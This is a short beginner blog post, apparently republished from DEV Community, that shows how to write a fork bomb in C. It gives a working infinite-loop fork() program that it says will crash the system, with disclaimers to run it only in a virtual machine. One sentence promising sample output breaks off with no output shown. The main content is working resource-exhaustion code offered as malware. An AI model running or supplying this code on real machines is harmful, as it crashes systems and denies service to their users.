how to make the world’s simplest malware in C

July 30, 2025

This content originally appeared on DEV Community and was authored by seatbelt

before we start…
THIS CONTENT IS FOR EDUCATIONAL PURPOSES ONLY. DO NOT CREATE OR DISTRIBUTE MALICIOUS SOFTWARE.

a fork bomb basically clones itself until the system runs out of resources (which crashes the device)

#include <stdio.h>
#include <unistd.h>

int main() {
  fork();
  printf("hello world\n");
}

this is a basic demo of the fork(); function this will just clone itself once so you will get a output like

but to actually make it keep repeating it self you will need to do something like this

#include <stdio.h>
#include <unistd.h>
#include <stdbool.h>

int main() {
  while (true) {fork();}
}

this will keep cloning it self again and again and will crash your system this is probably the simplest malware there is

NOTE: PLEASE DO NOT RUN THIS PROGRAM ON ANY MACHINE [NOT EVEN YOUR OWN] PLEASE ONLY RUN THIS IN A VIRTUAL MACHINE THIS BLOG WAS ONLY FOR EDUCATIONAL PURPOSES

This content originally appeared on DEV Community and was authored by seatbelt

C# cybersecurity